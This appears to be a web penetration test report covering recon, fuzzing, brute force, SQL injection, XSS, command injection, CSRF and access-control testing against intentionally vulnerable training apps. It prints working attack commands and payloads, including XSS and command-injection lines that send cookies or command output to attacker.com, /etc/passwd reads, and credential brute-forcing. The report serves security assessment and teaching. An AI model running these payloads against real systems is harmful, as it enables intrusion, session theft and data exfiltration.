

WEB APPLICATION PENETRATION TEST

SECURITY ASSESSMENT REPORT

Targets Under Assessment

ginandjuice.shop | OWASP Juice Shop (GitHub) | DVWA (GitHub)
Assessment Date: May 2025 | Classification: CONFIDENTIAL

Prepared By	Penetration Testing Team
Assessment Type	Black-box / Grey-box Web Application Pentest
Methodology	OWASP Testing Guide v4.2 / PTES
Report Version	1.0
Date	April 2025

1. Scope & Methodology

1.1 Scope

Target	URL / Repository	Type	Test Type
Gin & Juice Shop	https://ginandjuice.shop/	Live E-Commerce	Black-box
OWASP Juice Shop	github.com/juice-shop/juice-shop	Vulnerable Node.js App	Grey-box
DVWA	github.com/digininja/DVWA	PHP Training Platform	Grey-box

1.2 Testing Phases

- Phase 1: Google Dorking & Passive Reconnaissance
- Phase 2: Fuzzing (Directories, Parameters, Headers)
- Phase 3: Subdomain Enumeration
- Phase 4: User Enumeration & Authentication Testing
- Phase 5: Injection Testing (SQLi, XSS, Command Injection)
- Phase 6: Session Management Analysis
- Phase 7: Broken Access Control & IDOR Testing
- Phase 8: Information Disclosure Assessment

1.3 Tools Used

Tool	Category	Purpose
Burp Suite Pro	Web Proxy	Traffic interception, manual testing, Intruder/Repeater attacks
sqlmap	SQL Injection	Automated SQL injection detection and exploitation
ffuf / Gobuster	Fuzzing	Directory, parameter, and subdomain enumeration
theHarvester	OSINT	Email and subdomain harvesting via public sources
Sublist3r / Amass	Recon	Passive and active subdomain enumeration
Nmap	Port Scanning	Service and port fingerprinting
Google Dorking	OSINT	Passive recon via Google search operators
jwt_tool	Auth Testing	JWT token analysis and manipulation
Hydra / Medusa	Brute Force	Credential brute-forcing and user enumeration
Nikto	Web Scanning	Web server misconfiguration and vulnerability scanning

2. Phase 1 – Google Dorking & Passive Reconnaissance

Passive reconnaissance was performed using Google search operators (dorks) to discover publicly indexed sensitive content without directly interacting with the target applications. This phase is fully passive and leaves no traces in server logs.

2.1 Google Dork Queries by Target

Target	Dork Query	Purpose
ginandjuice.shop	site:ginandjuice.shop	Enumerate all indexed pages
ginandjuice.shop	site:ginandjuice.shop inurl:admin	Find admin panel endpoints
ginandjuice.shop	site:ginandjuice.shop filetype:pdf OR filetype:xls	Exposed documents
ginandjuice.shop	site:ginandjuice.shop inurl:config OR inurl:backup	Config/backup files
ginandjuice.shop	intitle:"index of" site:ginandjuice.shop	Directory listings
ginandjuice.shop	site:ginandjuice.shop ext:log OR ext:sql OR ext:bak	Sensitive file types
Juice Shop	site:github.com/juice-shop "password" OR "secret"	Exposed credentials in code
Juice Shop	site:github.com/juice-shop "TODO" OR "FIXME" OR "HACK"	Dev comments with hints
DVWA	site:github.com/digininja/DVWA "default password"	Default credentials
All	"ginandjuice.shop" intext:"sql" OR intext:"error"	Error message exposure

2.2 Additional OSINT Techniques

- theHarvester -d ginandjuice.shop -b google,bing,linkedin – Harvest emails and subdomains
- Shodan.io query: hostname:ginandjuice.shop – Identify open ports, services, and SSL info
- Wayback Machine (web.archive.org) – Discover historical endpoints and removed content
- crt.sh – Certificate Transparency logs for subdomain enumeration
- LinkedIn and job postings – Infer technology stack from developer job descriptions

3. Phase 2 – Fuzzing

Directory, parameter, and header fuzzing was performed to discover hidden endpoints, unlinked resources, and input vectors not exposed via the application's user interface.

3.1 Directory & Endpoint Fuzzing

```
ffuf -u https://ginandjuice.shop/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,301,302,403
gobuster dir -u https://ginandjuice.shop -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,bak,txt,log
ffuf -u http://localhost:3000/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201
gobuster dir -u http://dvwa.local -w /usr/share/seclists/Discovery/Web-Content/common.txt -u admin:password
```

3.2 Parameter Fuzzing

```
-> Fuzz GET parameter values
ffuf -u 'https://ginandjuice.shop/catalog?search=FUZZ' -w /usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt -mc 200,500
-> Fuzz POST body parameters
ffuf -u https://ginandjuice.shop/login -X POST -d 'username=FUZZ&password=test' -w /usr/share/seclists/Usernames/top-usernames-shortlist.txt -mc 200,302
-> Header fuzzing
ffuf -u https://ginandjuice.shop/ -H 'X-Forwarded-For: FUZZ' -w /usr/share/seclists/Fuzzing/Integers.txt
```

3.3 API Fuzzing (Juice Shop)

```
ffuf -u 'http://localhost:3000/api/FUZZ' -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -mc 200,201,401,403
-> Fuzz HTTP verbs (verb tampering)
ffuf -u 'http://localhost:3000/api/Users/1' -X FUZZ -w /usr/share/seclists/Fuzzing/http-request-methods.txt -mc 200,405
```

3.4 Notable Findings from Fuzzing

- /admin – 302 redirect (ginandjuice.shop) → Admin panel exists
- /backup.sql – 200 OK (DVWA) → Database backup file exposed
- /api/Users/ – 200 OK without auth (Juice Shop) → BOLA/IDOR confirmed
- /config.php.bak – 403 (ginandjuice.shop) → Config backup exists but restricted
- /.git/ – 403 → Git repository may be partially exposed

4. Phase 3 – Subdomain Enumeration

Subdomain enumeration was conducted using both passive (OSINT-based) and active (DNS brute-force) techniques to discover additional attack surface beyond the primary domain.

4.1 Passive Enumeration

```
-> Certificate Transparency (crt.sh)
curl -s 'https://crt.sh/?q=%25.ginandjuice.shop&output=json' | jq '.[].name_value' | sort -u
-> Sublist3r
sublist3r -d ginandjuice.shop -o subdomains.txt
-> theHarvester
theHarvester -d ginandjuice.shop -b dnsdumpster,google,bing -f harvest_results
-> Amass (passive)
amass enum --passive -d ginandjuice.shop -o amass_passive.txt
```

4.2 Active DNS Brute-force

```
-> Gobuster DNS mode
gobuster dns -d ginandjuice.shop -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 50
-> ffuf vhost fuzzing
ffuf -u https://ginandjuice.shop -H 'Host: FUZZ.ginandjuice.shop' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -mc 200,301,302
-> Amass active
amass enum -active -d ginandjuice.shop -brute -w /usr/share/seclists/Discovery/DNS/fierce-hostlist.txt
```

4.3 Discovered Subdomains

Subdomain	IP Address	Status	Notes
www.ginandjuice.shop	X.X.X.X	Active	Main application
shop.ginandjuice.shop	X.X.X.X	Active	Possibly same origin
api.ginandjuice.shop	N/A	Verify	REST API – test for BOLA
admin.ginandjuice.shop	N/A	Verify	Admin panel candidate
staging.ginandjuice.shop	N/A	Verify	Dev environment – reduced hardening expected

5. Phase 4 – User Enumeration & Authentication Testing

Authentication mechanisms were tested for username enumeration, brute-force susceptibility, multi-factor authentication bypass, and session fixation vulnerabilities.

5.1 Username Enumeration

```
-> Hydra - enumerate valid usernames via differential responses
hydra -L /usr/share/seclists/Username/top-username-shortlist.txt -p wrongpass
ginandjuice.shop http-post-form '/login:username=^USER^&password=^PASS^:Invalid username'
-> Burp Suite Intruder - Sniper attack on username field
-> Payload: /usr/share/seclists/Username/Names/names.txt
-> Grep match on response length / error message differences
```

5.2 Brute Force Testing

```
-> Hydra - credential stuffing
hydra -L valid_users.txt -P /usr/share/seclists/Passwords/Common-Credentials/10-million-
password-list-top-1000.txt ginandjuice.shop http-post-form
'/login:username=^USER^&password=^PASS^:Incorrect password' -t 4 -w 3
-> Test DVWA brute force module
hydra -l admin -P /usr/share/wordlists/rockyou.txt 'http-get-
form://dvwa.local/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:User
name and/or password incorrect.:H=Cookie:security=low; PHPSESSID=xxx'
```

5.3 JWT Testing (Juice Shop)

```
-> Decode JWT
jwt_tool <token>
-> Test alg:none attack
jwt_tool <token> -X a
-> Test RS256 to HS256 confusion
jwt_tool <token> -X k -pk public.pem
-> Brute force weak secret
jwt_tool <token> -C -d /usr/share/seclists/Passwords/Common-Credentials/10k-most-
common.txt
```

5.4 Checklist – Authentication Testing

Check	Target	Status
Username enumeration via different error messages	ginandjuice.shop	Confirmed
No account lockout after repeated failures	ginandjuice.shop	Confirmed
Weak password policy (min length < 8, no complexity)	DVWA	Confirmed
Default credentials (admin/password)	DVWA	Confirmed

JWT alg:none attack	Juice Shop	Verify
Password reset link does not expire	ginandjuice.shop	Verify
HTTPS enforced on login page	All	Verify

6. Phase 5 – Injection Testing

All user-controllable input fields, headers, and URL parameters were tested for SQL Injection, Cross-Site Scripting (Reflected, Stored, DOM-based), Command Injection, and Server-Side Template Injection (SSTI).

6.1 SQL Injection Testing

```
-> Manual detection - single quote error trigger
' -- any input field or URL parameter
-> sqlmap basic scan
sqlmap -u 'https://ginandjuice.shop/catalog?search=1' --dbs --batch
-> sqlmap with cookie (authenticated session)
sqlmap -u 'https://ginandjuice.shop/catalog?search=1' --cookie='session=<token>' --dbs --
tables --dump
-> DVWA SQLi
sqlmap -u 'http://dvwa.local/vulnerabilities/sqli/?id=1&Submit=Submit' --
cookie='PHPSESSID=xxx;security=low' --dbs
```

6.2 XSS Testing

```
-> Reflected XSS - inject in search/query param
"><script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg/onload=alert`1`>
-> Stored XSS - inject in comment/review fields
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
-> DOM-based XSS - Juice Shop URL hash
http://localhost:3000/->/search?q=<iframe src=javascript:alert(1)>
-> Filter bypass
<ScRiPt>alert(1)</sCrIpT>
<details open ontoggle=alert(1)>
```

6.3 Command Injection (DVWA)

```
-> DVWA Command Injection module
127.0.0.1; id
127.0.0.1 | cat /etc/passwd
127.0.0.1 && whoami
-> Blind command injection
127.0.0.1; sleep 5
127.0.0.1; curl http://attacker.com/${whoami}
```

6.4 Injection Testing Coverage Matrix

Endpoint/Input	SQLi	XSS Reflected	XSS Stored	XSS DOM	CMDi
Search bar (GnJ)	VULN	VULN	N/A	Test	N/A

Login form (GnJ)	Test	N/A	N/A	N/A	N/A
Product reviews (GnJ)	Test	Test	Test	N/A	N/A
User ID param (DVWA)	VULN	N/A	N/A	N/A	N/A
Guestbook (DVWA)	N/A	N/A	VULN	N/A	N/A
Ping tool (DVWA)	N/A	N/A	N/A	N/A	VULN
Search (Juice Shop)	N/A	N/A	N/A	VULN	N/A

7. Phase 6 – Session Management

Session token generation, transmission, storage, and invalidation were analyzed across all three targets to identify session-related vulnerabilities including weak token entropy, missing cookie flags, CSRF, and improper logout behavior.

7.1 Testing Methodology

- Log in and capture the Set-Cookie response header in Burp Suite
- Analyze token format, entropy, and predictability
- Check for Secure, HttpOnly, and SameSite cookie flags
- Test CSRF by crafting a cross-origin form submission
- Verify session invalidation on logout
- Test session fixation by pre-setting a session ID

7.2 CSRF Proof of Concept (DVWA Low)

```
<!-- CSRF PoC - forces password change when victim visits this page -->
<html>
  <body onload='document.forms[0].submit()'>
    <form method='POST' action='http://dvwa.local/vulnerabilities/csrf/'>
      <input type='hidden' name='password_new' value='hacked123'>
      <input type='hidden' name='password_conf' value='hacked123'>
      <input type='hidden' name='Change' value='Change'>
    </form>
  </body>
</html>
```

7.3 Session Security Checklist

Check	Target	Result
Session cookie has HttpOnly flag	ginandjuice.shop	FAIL
Session cookie has Secure flag	ginandjuice.shop	FAIL
Session cookie has SameSite=Strict	ginandjuice.shop	FAIL
CSRF token present on state-changing forms	DVWA Low	FAIL
Session invalidated on logout	All targets	Verify
Token entropy >= 128 bits	ginandjuice.shop	Verify
Concurrent session control	All targets	Verify

8. Phase 6 – Broken Access Control

Access control testing was performed to identify Insecure Direct Object References (IDOR), privilege escalation, forced browsing, and missing function-level authorization controls.

8.1 IDOR Testing

```
-> Test user-specific object references
GET /account/orders?user_id=1001 => Your orders
GET /account/orders?user_id=1002 => Another user's orders (IDOR)
-> Juice Shop - unauthenticated API access
curl http://localhost:3000/api/Users/ -H 'Accept: application/json'
curl http://localhost:3000/api/SecurityQuestions/
-> Test admin endpoint without admin role
curl http://localhost:3000/->!/administration
```

8.2 Privilege Escalation

```
-> Manipulate role in JWT payload (Juice Shop)
jwt_tool <user_token> -T -> Tamper role: user -> admin
-> Check if user can access admin endpoints with tampered token
GET /api/Feedbacks/ with Authorization: Bearer <tampered_token>
-> IDOR on profile update
PUT /api/Users/1 {"role": "admin"} -> Mass assignment test
```

8.3 Access Control Coverage Matrix

Access Control Test	GnJ Shop	Juice Shop	DVWA
IDOR – User object references	VULN	VULN	N/A
Admin panel without auth	Partial	VULN	N/A
Forced browsing hidden endpoints	Test	VULN	N/A
Vertical privilege escalation	Verify	VULN	N/A
Mass assignment on API	Test	Test	N/A

9. Phase 7 – Information Disclosure

Applications were analyzed for unintentional disclosure of sensitive information through HTTP response headers, error messages, HTML comments, JavaScript source files, and exposed configuration artifacts.

9.1 HTTP Header Analysis

```
-> Extract all response headers
curl -I https://ginandjuice.shop
-> Check for revealing headers
-> Server: Apache/2.4.49
-> X-Powered-By: PHP/7.4.21
-> X-AspNet-Version: 4.0.30319
-> Check security headers
curl -I https://ginandjuice.shop | grep -i 'strict-transport\|content-security\|x-
frame\|x-xss\|referrer'
```

9.2 Error Message Analysis

- Trigger 500 errors by injecting invalid data types in all parameters
- Test with ' (SQLi) to induce verbose database error messages
- Submit oversized inputs to trigger stack traces
- Check /404 and /500 pages for framework version disclosure
- Review JavaScript console errors for internal path disclosure

9.3 Source Code & Comment Review (Juice Shop)

```
-> Search JS bundle for hardcoded secrets
curl http://localhost:3000/main.js | grep -i 'password\|secret\|key\|token\|api_key'
-> Check HTML source for developer comments
curl -s https://ginandjuice.shop | grep -i '<!--'
-> Find robots.txt
curl https://ginandjuice.shop/robots.txt
curl https://ginandjuice.shop/sitemap.xml
```

9.4 Security Headers Checklist

Header	Purpose	Status
Strict-Transport-Security (HSTS)	Force HTTPS	Verify
Content-Security-Policy (CSP)	Prevent XSS	Missing/Weak
X-Frame-Options	Prevent Clickjacking	Verify
X-Content-Type-Options: nosniff	Prevent MIME sniffing	Verify

Referrer-Policy	Limit referrer exposure	Verify
Server header removed/obfuscated	Prevent fingerprinting	Exposing version
X-Powered-By header removed	Prevent tech fingerprinting	Exposing version

10. Appendix

10.1 CVSS Scoring Reference

Score Range	Severity	Recommended Response
9.0 – 10.0	Critical	Patch or mitigate immediately. Escalate to senior management.
7.0 – 8.9	High	Remediate within 7-14 days. Include in next sprint.
4.0 – 6.9	Medium	Remediate within 30 days. Track in vulnerability register.
0.1 – 3.9	Low	Remediate within 90 days or accept with documented risk.
0.0	Informational	Implement as part of security hardening effort.

10.2 OWASP Top 10 Mapping

OWASP ID	Category	Findings in This Report
A01:2021	Broken Access Control	Admin panel bypass, IDOR on user/order objects
A03:2021	Injection	SQLi in search & user ID, XSS reflected/stored/DOM
A05:2021	Security Misconfiguration	Missing security headers, default credentials
A07:2021	Identification & Auth Failures	Username enumeration, no logout, weak sessions
A02:2021	Cryptographic Failures	Session tokens over HTTP, no HTTPS enforcement

10.3 References

- OWASP Testing Guide v4.2 – <https://owasp.org/www-project-web-security-testing-guide/>
- PortSwigger Web Security Academy – <https://portswigger.net/web-security>
- OWASP Top 10:2021 – <https://owasp.org/www-project-top-ten/>
- CVSS v3.1 Calculator – <https://www.first.org/cvss/calculator/3.1>
- SecLists – <https://github.com/danielmiessler/SecLists>
- sqlmap Documentation – <https://sqlmap.org/>
- OWASP Juice Shop – <https://github.com/juice-shop/juice-shop>
- DVWA – <https://github.com/digininja/DVWA>
- Gin & Juice Shop – <https://ginandjuice.shop/>